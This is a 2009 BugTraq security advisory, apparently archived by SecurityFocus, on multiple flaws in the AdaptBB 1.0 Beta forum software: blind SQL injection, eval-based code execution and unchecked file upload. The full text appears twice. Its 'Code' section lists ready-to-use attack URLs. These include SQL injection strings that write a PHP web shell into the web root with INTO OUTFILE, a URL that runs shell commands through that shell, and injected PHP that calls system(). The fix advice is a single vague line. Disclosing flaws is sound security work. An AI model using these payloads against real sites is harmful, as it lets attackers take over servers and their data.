BugTraq
AdaptBB 1.0 Beta Multiple Remote Vulnerabilities Apr 09 2009 01:38PM
Salvatore \drosophila\ Fresta (drosophilaxxx gmail com)
******* Salvatore "drosophila" Fresta *******

[+] Application: AdaptBB
[+] Version: 1.0 Beta
[+] Website: http://sourceforge.net/projects/adaptbb/

[+] Bugs: [A] Multiple Blind SQL Injection
[B] Multiple Dynamic Code Execution
[C] Arbitrary File Upload

[+] Exploitation: Remote
[+] Date: 09 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx (at) gmail (dot) com [email concealed]

*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix

*************************************************

[+] Bugs

- [A] Multiple Blind SQL Injection

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: almost all of the files are
vulnerable

This bug allows a guest to execute arbitrary SQL
queries.

- [B] Multiple Dynamic Code Execution

[-] Risk: hight
[-] File affected: almost all of the files are
vulnerable

This bug allows a guest to execute arbitrary php
code.

...

if ($_GET['box']) {
$folder = $_GET['box'];
}

...

$ddata[] = ucwords($folder);

...

eval (" ?> ".str_replace($cdata, $ddata,
stripslashes(template($view."_header")))." <?php ");

...

- [C] Arbitrary File Upload

[-] Risk: hight
[-] File affected: attach.php

This bug allows a registered user to upload
arbitrary files and to execute them from
inc/attachments directory. This is possible
because there are no controls on file extension
on the server side but only on the client side.

*************************************************

[+] Code

- [A] Multiple Blind SQL Injection

http://site/path/inc/attach.php?id=-1' UNION ALL SELECT '<?php
system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE
'/var/www/htdocs/path/rce.php'%23

http://site/path/index.php?do=profile&user=blabla&box=-1' UNION ALL
SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE
'/var/www/htdocs/path/rce.php'%23

http://site/path/index.php?do=messages&user=blabla&box=-1' UNION ALL
SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE
'/var/www/htdocs/path/rce.php'%23

http://site/path/index.php?do=edit_post&id=-1' UNION ALL SELECT '<?php
system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8,9 INTO OUTFILE
'/var/www/htdocs/path/rce.php'%23

To execute commands:

http://site/path/rce.php?cmd=uname -a

- [B] Multiple Dynamic Code Execution

http://www.site.com/path/index.php?do=profile&user=blabla&box=<?php
echo "<pre>"; system('ls'); echo "</pre>"?>

http://www.site.com/path/index.php?do=messages&user=blabla&box=<?php
echo "<pre>"; system('ls'); echo "</pre>"?>

*************************************************

[+] Fix

To fix them you must check the input properly.
However is not recommended to store your real
username and password in the cookies.

*************************************************

--
Salvatore "drosophila" Fresta
CWNP444351
******* Salvatore "drosophila" Fresta *******

[+] Application: AdaptBB
[+] Version: 1.0 Beta
[+] Website: http://sourceforge.net/projects/adaptbb/

[+] Bugs: [A] Multiple Blind SQL Injection
[B] Multiple Dynamic Code Execution
[C] Arbitrary File Upload

[+] Exploitation: Remote
[+] Date: 09 Apr 2009

[+] Discovered by: Salvatore "drosophila" Fresta
[+] Author: Salvatore "drosophila" Fresta
[+] Contact: e-mail: drosophilaxxx (at) gmail (dot) com [email concealed]

*************************************************

[+] Menu

1) Bugs
2) Code
3) Fix

*************************************************

[+] Bugs

- [A] Multiple Blind SQL Injection

[-] Risk: medium
[-] Requisites: magic_quotes_gpc = off
[-] File affected: almost all of the files are
vulnerable

This bug allows a guest to execute arbitrary SQL
queries.

- [B] Multiple Dynamic Code Execution

[-] Risk: hight
[-] File affected: almost all of the files are
vulnerable

This bug allows a guest to execute arbitrary php
code.

...

if ($_GET['box']) {

$folder = $_GET['box'];

}

...

$ddata[] = ucwords($folder);

...

eval (" ?> ".str_replace($cdata, $ddata, stripslashes(template($view."_header")))." <?php ");

...

- [C] Arbitrary File Upload

[-] Risk: hight
[-] File affected: attach.php

This bug allows a registered user to upload
arbitrary files and to execute them from
inc/attachments directory. This is possible
because there are no controls on file extension
on the server side but only on the client side.

*************************************************

[+] Code

- [A] Multiple Blind SQL Injection

http://site/path/inc/attach.php?id=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23

http://site/path/index.php?do=profile&user=blabla&box=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23

http://site/path/index.php?do=messages&user=blabla&box=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23

http://site/path/index.php?do=edit_post&id=-1' UNION ALL SELECT '<?php system($_GET[cmd])%3b ?>',2,3,4,5,6,7,8,9 INTO OUTFILE '/var/www/htdocs/path/rce.php'%23

To execute commands:

http://site/path/rce.php?cmd=uname -a

- [B] Multiple Dynamic Code Execution

http://www.site.com/path/index.php?do=profile&user=blabla&box=<?php echo "<pre>"; system('ls'); echo "</pre>"?>

http://www.site.com/path/index.php?do=messages&user=blabla&box=<?php echo "<pre>"; system('ls'); echo "</pre>"?>

*************************************************

[+] Fix

To fix them you must check the input properly.
However is not recommended to store your real
username and password in the cookies.

*************************************************

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus